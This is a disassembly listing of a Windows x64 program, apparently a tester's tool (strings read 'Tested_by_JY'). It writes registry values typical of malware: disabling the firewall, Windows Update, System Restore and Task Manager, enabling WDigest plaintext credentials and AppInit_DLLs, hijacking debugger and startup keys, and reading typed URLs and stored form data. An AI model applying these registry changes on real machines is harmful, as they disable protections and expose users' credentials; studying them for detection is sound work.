mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140040a08]
lea rcx, str.HKCUSoftwarePoliciesMicrosoftInternet_ExplorerJY
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140040808]
lea rcx, str.HKLMSoftwareMicrosoftInternet_ExplorerAboutURLsJY
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x100c000a
je 0x140003dbc
cmp edi, 0x100d000a
jne case.default.0x14000d0ae
xor edx, edx
lea rcx, str.HKCUSoftwareMicrosoftInternet_ExplorerPrivacyCleanCookies
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003cb34]
lea rcx, str.HKCUSOFTWAREMicrosoftInternet_ExplorerMainError_Dlg_Displayed_On_Every_Error
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x1004000b
ja 0x140003e6e
je 0x140003e56
cmp edi, 0x1001000b
je 0x140003e3e
cmp edi, 0x1002000b
je 0x140003e26
cmp edi, 0x1003000b
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003cd14]
lea rcx, str.HKCUSoftwareMicrosoftInternet_ExplorerDownloadCheckExeSignatures
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov edx, 2
lea rcx, str.HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoSimpleNetIDList
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
mov edx, 1
lea rcx, str.HKCUSoftwarePoliciesMicrosoftInternet_ExplorerRestrictionsJY
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
mov edx, 1
lea rcx, str.HKCUSoftwareMicrosoftInternet_ExplorerDownloadRunInvalidSignatures
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x1005000b
je 0x140003e97
cmp edi, 0x1006000b
jne case.default.0x14000d0ae
xor edx, edx
lea rcx, str.HKCUSoftwareMicrosoftInternet_ExplorerMainTabProcGrowth
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
mov edx, 1
lea rcx, str.HKLMSoftwareMicrosoftInternet_ExplorerPhishingFilterShownVerifyBalloon
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x1010000d
ja 0x1400040ee
je 0x1400040ce
cmp edi, 0x1008000d
ja 0x140003fe3
je 0x140003fcb
cmp edi, 0x1004000d
ja 0x140003f65
je 0x140003f45
cmp edi, 0x1001000d
je 0x140003f2d
cmp edi, 0x1002000d
je 0x140003f15
cmp edi, 0x1003000d
jne case.default.0x14000d0ae
mov edx, 1
lea rcx, str.HKLMSOFTWAREPoliciesMicrosoftWindowsWindowsUpdateDoNotAllowXPSP2
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
mov edx, 3
lea rcx, str.HKLMSYSTEMCurrentControlSetServicesSharedAccessStart
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
mov edx, 1
lea rcx, str.HKLMSoftwareMicrosoftSecurity_CenterUpdatesDisableNotify
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140040f18]
lea rcx, str.HKLMSystemCurrentControlSetServicesTcpipParametersDataBasePath
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x1005000d
je 0x140003fb6
cmp edi, 0x1006000d
je 0x140003fa1
cmp edi, 0x1007000d
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x1400417d8]
lea rcx, str.HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionIniFileMappingwin.iniDESKTOP
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
xor edx, edx
lea rcx, str.HKLMSOFTWAREPoliciesMicrosoftWindowsFirewallStandardProfileEnableFirewall
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
xor edx, edx
lea rcx, str.HKLMSOFTWAREPoliciesMicrosoftWindowsFirewallDomainProfileEnableFirewall
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
mov edx, 2
lea rcx, str.HKLMSOFTWAREMicrosoftWindowsCurrentVersionWindowsUpdateAuto_UpdateAUOptions
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x100c000d
ja 0x14000408d
je 0x14000406d
cmp edi, 0x1009000d
je 0x14000404d
cmp edi, 0x100a000d
je 0x14000402d
cmp edi, 0x100b000d
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140041da8]
lea rcx, str.HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionIniFileMappingwin.iniwindowsDESKTOP
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140041938]
lea rcx, str.HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionIniFileMappingwin.ini_networkJYTEST
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x1400410f8]
lea rcx, str.HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionIniFileMapping_system.iniDESKTOP
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140041718]
lea rcx, str.HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionIniFileMapping_system.ini_bootShell
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x100e000d
je 0x1400040b6
cmp edi, 0x100f000d
jne case.default.0x14000d0ae
xor edx, edx
lea rcx, str.HKLMSYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsListEnableFirewall
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
mov edx, 1
lea rcx, str.HKLMSYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileEnableFirewall
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140041ef8]
lea rcx, str.HKLMSYSTEMCurrentControlSetControlSafeBootUseAlternateShell
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x1018000d
ja 0x1400042c6
je 0x1400042ae
cmp edi, 0x1014000d
ja 0x140004245
je 0x140004225
cmp edi, 0x1011000d
je 0x14000420d
cmp edi, 0x1012000d
je 0x140004152
cmp edi, 0x1013000d
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140040bc8]
lea rcx, str.HKLMSystemCurrentControlSetServices_srJY
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov edx, 0x79
lea rcx, str.HKLM_softwareMicrosoftwindows_ntCurrentVersionSystemRestoreTimerInterval
call fcn.1400109c0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 2
lea rcx, str.HKLM_softwareMicrosoftwindows_ntCurrentVersionSystemRestoreDisableSR
call fcn.1400109c0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 4
lea rcx, str.HKLM_softwareMicrosoftwindows_ntCurrentVersionSystemRestoreRestoreSafeModeStatus
call fcn.1400109c0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 3
lea rcx, str.HKLM_softwareMicrosoftwindows_ntCurrentVersionSystemRestoreRestoreDiskSpaceError
call fcn.1400109c0
mov ecx, 0x7d0
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rbp]
mov rcx, 0xffffffff80000002
lea rdx, str.SoftwareMicrosoftwindows_ntCurrentVersionSystemRestore
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x14000dd28
mov rcx, qword [rbp]
lea rdx, str.TimerInterval
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test eax, eax
jne 0x14000dd28
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp case.default.0x14000d0ae
mov edx, 2
lea rcx, str.HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesActiveDesktopNoActiveDesktop
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140040e48]
lea rcx, str.HKLMSystemCurrentControlSetServices_srserviceJY
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x1015000d
je 0x14000428e
cmp edi, 0x1016000d
je 0x140004279
cmp edi, 0x1017000d
jne case.default.0x14000d0ae
mov edx, 1
lea rcx, str.HKLMSoftwareMicrosoftWindows_NTCurrentVersionWindowsLoadAppInit_DLLs
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
xor edx, edx
lea rcx, str.HKLMSoftwareMicrosoftWindows_NTCurrentVersionWindowsRequireSignedAppInit_DLLs
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, str..exe_
lea rcx, str.HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesAssociationsLowRiskFileTypes
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov edx, 1
lea rcx, str.HKLMSOFTWAREPoliciesMicrosoftWindowsWindowsUpdateAUNoAutoUpdate
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x101c000d
ja 0x140004358
je 0x140004343
cmp edi, 0x1019000d
je 0x14000431a
cmp edi, 0x101a000d
je 0x140004305
cmp edi, 0x101b000d
jne case.default.0x14000d0ae
xor edx, edx
lea rcx, str.HKLMSOFTWAREMicrosoftNon_Driver_SigningPolicy
call fcn.1400109f0
mov ebx, eax
jmp case.default.0x14000d0ae
xor edx, edx
lea rcx, str.HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExploreDisallowRun
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
mov edx, 1
lea rcx, str.HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerHideDesktopIconsClassicStartMenuJY
call fcn.1400109c0
mov edx, 1
lea rcx, str.HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerHideDesktopIconsNewStartPanelJY
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
xor edx, edx
lea rcx, str.HKLMSYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileGloballyOpenPortsListJY
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x101d000d
je 0x140004384
cmp edi, 0x101e000d
jne case.default.0x14000d0ae
mov edx, 1
lea rcx, str.HKLMSystemCurrentControlSetControlSecurityProvidersWDigestUseLogonCredential
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
mov edx, 2
lea rcx, [0x1400427c0]
call fcn.1400109c0
mov edx, 1
lea rcx, [0x140042870]
call fcn.1400109c0
xor edx, edx
lea rcx, str.HKCUSoftwarePoliciesMicrosoftWindows_NTDriver_SigningBehaviorOnFailedVerify
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x1005000e
ja 0x140004476
je 0x140004456
cmp edi, 0x1001000e
je 0x140004436
cmp edi, 0x1002000e
je 0x14000441e
cmp edi, 0x1003000e
je 0x140004406
cmp edi, 0x1004000e
jne case.default.0x14000d0ae
xor edx, edx
lea rcx, str.HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedHidden
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
mov edx, 1
lea rcx, str.HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoFolderOptions
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
mov edx, 1
lea rcx, str.HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140042208]
lea rcx, str.HKCUSoftwareMicrosoftInternet_ExplorerStylesUser_Stylesheets
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140039dbc]
lea rcx, str.HKLM_softwaremicrosoftoleEnableDCOM
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x1006000e
je 0x1400044ea
cmp edi, 0x1007000e
je 0x1400044d2
cmp edi, 0x1008000e
je 0x1400044ba
cmp edi, 0x1009000e
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140042078]
lea rcx, str.HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALLCheckedValue
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov edx, 4
lea rcx, str.HKLMSYSTEMCurrentControlSetServiceswuauserv_start
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
mov edx, 3
lea rcx, str.HKLMSYSTEMCurrentControlSetServiceswscsvc_start
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
mov edx, 1
lea rcx, str.HKLMSYSTEMCurrentControlSetControlLsa_restrictanonymous
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x1001000f
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x1400422b8]
lea rcx, str.HKLMSYSTEMCurrentControlSetServicesWinSock2ParametersJY
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x10010010
jne case.0x140002b04.16777239
mov edx, 0x64
lea rcx, str.HKCUSOFTWAREMicrosoftWindowsCurrentVersionInternet_SettingsZoneMapProtocolDefaultshttp
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x10010017
jne case.default.0x14000d0ae
xor edx, edx
lea rcx, str.HKLMSYSTEMCurrentControlSetServicesCdromAUTORUNAlwaysDisable
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x1001001a
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140042638]
lea rcx, str.HKCUSoftwareMicrosoftInternet_ExplorerNew_WindowsPopupMgr
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x1001001b
je 0x14000461f
cmp edi, 0x1002001b
je 0x1400045eb
cmp edi, 0x1003001b
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140042bf8]
lea rcx, str.HKLMSOFTWAREMicrosoftInternet_ExplorerExtensionsJYJY
call fcn.140010a20
lea rdx, str.SOFTWAREMicrosoftInternet_ExplorerExtensionsJY
mov rcx, 0xffffffff80000002
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140042b68]
lea rcx, str.HKCUSoftwareMicrosoftInternet_ExplorerExplorer_BarsJYJY
call fcn.140010a20
lea rdx, str.SoftwareMicrosoftInternet_ExplorerExplorer_BarsJY
mov rcx, 0xffffffff80000001
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140042a78]
lea rcx, str.HKCUSoftwareMicrosoftInternet_ExplorerExtensionsJYJY
call fcn.140010a20
lea rdx, str.SoftwareMicrosoftInternet_ExplorerExtensionsJY
mov rcx, 0xffffffff80000001
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp case.default.0x14000d0ae
cmp edi, 0x1001001c
je 0x140004687
cmp edi, 0x1002001c
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, str.C:Tested_by_JY.exe
lea rcx, str.HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_FoldersStartup
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140042dc8]
lea rcx, str.HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerShell_FoldersStartup
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x1001001d
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, str.C:Tested_by_JY.exe_nbabo
lea rcx, str.HKLMSYSTEMCurrentControlSetControlSession_ManagerPendingFileRenameOperations
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
test edi, edi
jne case.default.0x14000d0ae
lea r8d, [rdi + 1]
lea rdx, [0x140091ac0]
lea rcx, [0x140043810]
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
test edi, edi
jne case.default.0x14000d0ae
lea r8d, [rdi + 1]
lea rdx, [0x140091ac0]
lea rcx, [0x140043880]
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
test edi, edi
jne case.default.0x14000d0ae
lea r8d, [rdi + 1]
lea rdx, [0x140091ac0]
lea rcx, str.HKLMSYSTEMCurrentControlSetServicesImagePath
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
test edi, edi
jne case.default.0x14000d0ae
lea r8d, [rdi + 1]
lea rdx, [0x140091ac0]
lea rcx, [0x140043990]
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
test edi, edi
jne case.default.0x14000d0ae
lea r8d, [rdi + 1]
lea rdx, [0x140091ac0]
lea rcx, str.HKLMSOFTWAREMicrosoftInternet_ExplorerToolbarJYTest
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
test edi, edi
jne case.default.0x14000d0ae
movups xmm0, xmmword [rdx + 0x43a90]
lea rax, [rdx + 0x43a90]
xor edx, edx
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x360]
mov r8d, 0x15e
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x80]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm0
movups xmm0, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm1
movups xmmword [rcx + 0x90], xmm0
lea rcx, [rbp + 0x400]
call fcn.140013860
movups xmm0, xmmword [0x140043b30]
movzx eax, word [0x140043b68]
xor edx, edx
movups xmm1, xmmword [0x140043b40]
lea rcx, [rbp + 0x5aa]
mov r8d, 0x1c4
movaps xmmword [rbp + 0x570], xmm0
movups xmm0, xmmword [0x140043b50]
mov word [rbp + 0x5a8], ax
movaps xmmword [rbp + 0x580], xmm1
movsd xmm1, qword [0x140043b60]
movaps xmmword [rbp + 0x590], xmm0
movsd qword [rbp + 0x5a0], xmm1
call fcn.140013860
lea rdx, str.0000000F_0000_0000_0000_000000000000
lea rcx, [rbp + 0x360]
call fcn.14000ffd0
lea rdx, [0x140039e04]
lea rcx, [rbp + 0x360]
call fcn.14000ffd0
lea rdx, str.0000000F_0000_0000_0000_000000000000
lea rcx, [rbp + 0x570]
call fcn.14000ffd0
lea rdx, [0x140043378]
lea rcx, [rbp + 0x570]
call fcn.14000ffd0
lea r8d, [rdi + 1]
lea rdx, [0x140091ac0]
lea rcx, [rbp + 0x570]
call fcn.140011160
lea r8d, [rdi + 1]
lea rdx, str.Test
lea rcx, [rbp + 0x360]
call fcn.140011160
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x1001002b
je 0x1400049c1
cmp edi, 0x1002002b
jne case.default.0x14000d0ae
mov r8d, 1
mov dword [rbp + 0x270], 0xff
lea rdx, [0x140043c90]
lea rcx, str.HKCUSoftwareMicrosoftInternet_ExplorerIntelliformsStorage2JY
call fcn.140011160
lea rax, [rbp]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftInternet_ExplorerIntelliformsStorage2
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rbp]
test rcx, rcx
jne 0x140004976
lea rcx, [0x140043a58]
call fcn.140001030
mov ebx, 0x65b
jmp case.default.0x14000d0ae
lea rax, [rbp + 0x270]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rdx, [0x14003d1a4]
lea rax, [rbp + 0x360]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebx, eax
test eax, eax
je 0x140004e24
lea rcx, [0x1400435a8]
call fcn.140001030
mov ebx, 0x65b
jmp 0x140004e24
mov r8d, 1
mov dword [rbp + 0x270], 0xff
lea rdx, [0x14003cf74]
lea rcx, str.HKCUSoftwareMicrosoftInternet_ExplorerTypedURLs
call fcn.140011160
lea rax, [rbp]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftInternet_ExplorerTypedURLs
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rbp]
test rcx, rcx
jne 0x140004a29
lea rcx, [0x140043958]
call fcn.140001030
mov ebx, 0x65b
jmp case.default.0x14000d0ae
lea rax, [rbp + 0x270]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rdx, str.url1
lea rax, [rbp + 0x360]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebx, eax
test eax, eax
je 0x140004e24
lea rcx, [0x140043508]
call fcn.140001030
mov ebx, 0x65b
jmp 0x140004e24
cmp edi, 0x1001002c
je 0x140004ce4
cmp edi, 0x1002002c
je 0x140004c24
cmp edi, 0x1003002c
je 0x140004b64
cmp edi, 0x1004002c
jne case.default.0x14000d0ae
lea rax, [rbp]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [0x140044500]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
test eax, eax
je 0x140004b58
mov edx, eax
lea rcx, [0x140043fe8]
call fcn.140001030
lea rcx, str.Make_the_key._n
call fcn.140001030
mov qword [rsp + 0x40], r14
lea rax, [rbp]
mov qword [rsp + 0x38], rax
lea rdx, [0x1400445f0]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0x200
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov ebx, eax
test eax, eax
je 0x140004b41
mov edx, eax
lea rcx, str.RegCreateKeyEx_failed__d__n
call fcn.140001030
jmp case.default.0x14000d0ae
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x140044690]
jmp 0x140004d9c
lea rdx, str.SOFTWAREWow6432NodeMicrosoftWindows_NTCurrentVersionAeDebugDebugger
jmp 0x140004d9c
lea rax, [rbp]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [0x1400442e0]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
test eax, eax
je 0x140004c18
mov edx, eax
lea rcx, [0x140043ea8]
call fcn.140001030
lea rcx, [0x140044360]
call fcn.140001030
mov qword [rsp + 0x40], r14
lea rax, [rbp]
mov qword [rsp + 0x38], rax
lea rdx, [0x140044380]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0x200
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov ebx, eax
test eax, eax
je 0x140004c01
mov edx, eax
lea rcx, [0x140043f48]
call fcn.140001030
jmp case.default.0x14000d0ae
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x140044400]
jmp 0x140004d9c
lea rdx, str.SOFTWAREWow6432NodeMicrosoft.NETFrameworkDbgManagedDebugger
jmp 0x140004d9c
lea rax, [rbp]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [0x1400440c0]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
test eax, eax
je 0x140004cd8
mov edx, eax
lea rcx, [0x140043d38]
call fcn.140001030
lea rcx, [0x140044140]
call fcn.140001030
mov qword [rsp + 0x40], r14
lea rax, [rbp]
mov qword [rsp + 0x38], rax
lea rdx, [0x140044160]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov ebx, eax
test eax, eax
je 0x140004cc1
mov edx, eax
lea rcx, [0x140043de8]
call fcn.140001030
jmp case.default.0x14000d0ae
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x1400441e0]
jmp 0x140004d9c
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionAeDebugDebugger
jmp 0x140004d9c
lea rax, [rbp]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [0x140043e20]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
test eax, eax
je 0x140004d95
mov edx, eax
lea rcx, [0x140043728]
call fcn.140001030
lea rcx, [0x140043e88]
call fcn.140001030
mov qword [rsp + 0x40], r14
lea rax, [rbp]
mov qword [rsp + 0x38], rax
lea rdx, str.SOFTWAREMicrosoft.NETFrameworkDbgManagedDebugger
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov ebx, eax
test eax, eax
je 0x140004d81
mov edx, eax
lea rcx, [0x140043be8]
call fcn.140001030
jmp case.default.0x14000d0ae
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x140043f80]
jmp 0x140004d9c
lea rdx, str.SoftwareMicrosoft.NETFrameworkDbgManagedDebugger
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rcx, qword [rbp]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp case.default.0x14000d0ae
lea rax, [rbp]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SystemCurrentControlSet_servicesTcpipParametersInterfaces
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
test eax, eax
je 0x140004df7
mov edx, eax
lea rcx, str.RegOpenKeyEx_failed__d__n
call fcn.140001030
jmp case.default.0x14000d0ae
mov rcx, qword [rbp]
lea r8, [rbp + 0x570]
mov r9d, 0xff
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov ebx, eax
test eax, eax
je 0x140004e3c
mov edx, eax
lea rcx, str.RegEnumKey_failed__d__n
call fcn.140001030
mov rcx, qword [rbp]
test rcx, rcx
je case.default.0x14000d0ae
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp case.default.0x14000d0ae
lea r8, [rbp + 0x570]
lea rdx, str.HKLMSYSTEMCurrentControlSet_servicesTcpipParametersInterfaces_s
lea rcx, [rbp + 0x360]
call fcn.14000ffe0
cmp edi, 0x1001002d
je 0x140004e82
cmp edi, 0x1002002d
jne 0x140004e24
lea rdx, str.NameServer
lea rcx, [rbp + 0x360]
call fcn.14000ffd0
lea rdx, [0x140044928]
jmp 0x140004e9c
lea rdx, str.DefaultGateway
lea rcx, [rbp + 0x360]
call fcn.14000ffd0
lea rdx, [0x140044968]
mov r8d, 1
lea rcx, [rbp + 0x360]
call fcn.140010a20
mov ebx, eax
jmp 0x140004e24
cmp edi, 0x1001002f
je 0x14000502b
cmp edi, 0x1002002f
je 0x140004f82
cmp edi, 0x1003002f
jne case.default.0x14000d0ae
mov r8d, 1
mov dword [rbp + 0x270], 0xff
lea rdx, str.Tested_by_jy
lea rcx, str.HKCUSoftwareMicrosoftOffice16.0OutlookProfilesJY
call fcn.140011160
lea rax, [rbp]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftOffice16.0OutlookProfiles
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rbp]
test rcx, rcx
jne 0x140004f41
lea rcx, [0x140044cf8]
call fcn.140001030
mov ebx, 0x65b
jmp case.default.0x14000d0ae
lea rax, [rbp + 0x270]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rdx, [0x140040d34]
lea rax, [rbp + 0x360]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebx, eax
test eax, eax
je 0x1400050d9
lea rcx, [0x140044e00]
jmp 0x1400050cf
mov r8d, 1
